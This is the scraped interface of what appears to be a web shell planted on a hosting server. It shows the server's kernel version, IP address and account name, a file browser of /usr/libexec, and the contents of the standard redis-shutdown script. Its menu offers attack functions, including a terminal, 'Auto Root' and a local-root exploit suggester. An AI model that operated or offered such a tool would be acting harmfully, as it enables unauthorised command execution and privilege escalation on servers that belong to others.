Linux gir02.nhanhoa.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
LiteSpeed
Server IP : 103.124.95.33 & Your IP : 216.73.217.104
Domains :
Cant Read [ /etc/named.conf ]
User : nhsacmvr
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
libexec /
Delete
Unzip
Name
Size
Permission
Date
Action
awk
[ DIR ]
drwxr-xr-x
2024-01-10 09:05
coreutils
[ DIR ]
drwxr-xr-x
2026-09-24 01:00
dovecot
[ DIR ]
drwxr-xr-x
2026-07-30 17:16
gcc
[ DIR ]
drwxr-xr-x
2025-08-26 09:44
getconf
[ DIR ]
drwxr-xr-x
2026-07-30 16:28
git-core
[ DIR ]
drwxr-xr-x
2026-05-09 03:59
openldap
[ DIR ]
drwxr-xr-x
2025-03-11 09:44
openssh
[ DIR ]
drwxr-xr-x
2026-09-24 01:05
utempter
[ DIR ]
drwxr-xr-x
2024-01-10 09:06
grepconf.sh
253
B
-rwxr-xr-x
2018-08-12 07:47
platform-python3.6
11.59
KB
-rwxr-xr-x
2026-08-18 15:09
platform-python3.6m
11.59
KB
-rwxr-xr-x
2026-08-18 15:09
redis-shutdown
1.09
KB
-rwxr-xr-x
2021-10-11 07:54
Save
Rename
#!/bin/bash # # Wrapper to close properly redis and sentinel test x"$REDIS_DEBUG" != x && set -x REDIS_CLI=/usr/bin/redis-cli # Retrieve service name SERVICE_NAME="$1" if [ -z "$SERVICE_NAME" ]; then SERVICE_NAME=redis fi # Get the proper config file based on service name CONFIG_FILE="/etc/$SERVICE_NAME.conf" # Use awk to retrieve host, port from config file HOST=`awk '/^[[:blank:]]*bind/ { print $2 }' $CONFIG_FILE | tail -n1` PORT=`awk '/^[[:blank:]]*port/ { print $2 }' $CONFIG_FILE | tail -n1` PASS=`awk '/^[[:blank:]]*requirepass/ { print $2 }' $CONFIG_FILE | tail -n1` SOCK=`awk '/^[[:blank:]]*unixsocket\s/ { print $2 }' $CONFIG_FILE | tail -n1` # Just in case, use default host, port HOST=${HOST:-127.0.0.1} if [ "$SERVICE_NAME" = redis ]; then PORT=${PORT:-6379} else PORT=${PORT:-26739} fi # Setup additional parameters # e.g password-protected redis instances [ -z "$PASS" ] || ADDITIONAL_PARAMS="-a $PASS" # shutdown the service properly if [ -e "$SOCK" ] ; then $REDIS_CLI -s $SOCK $ADDITIONAL_PARAMS shutdown else $REDIS_CLI -h $HOST -p $PORT $ADDITIONAL_PARAMS shutdown fi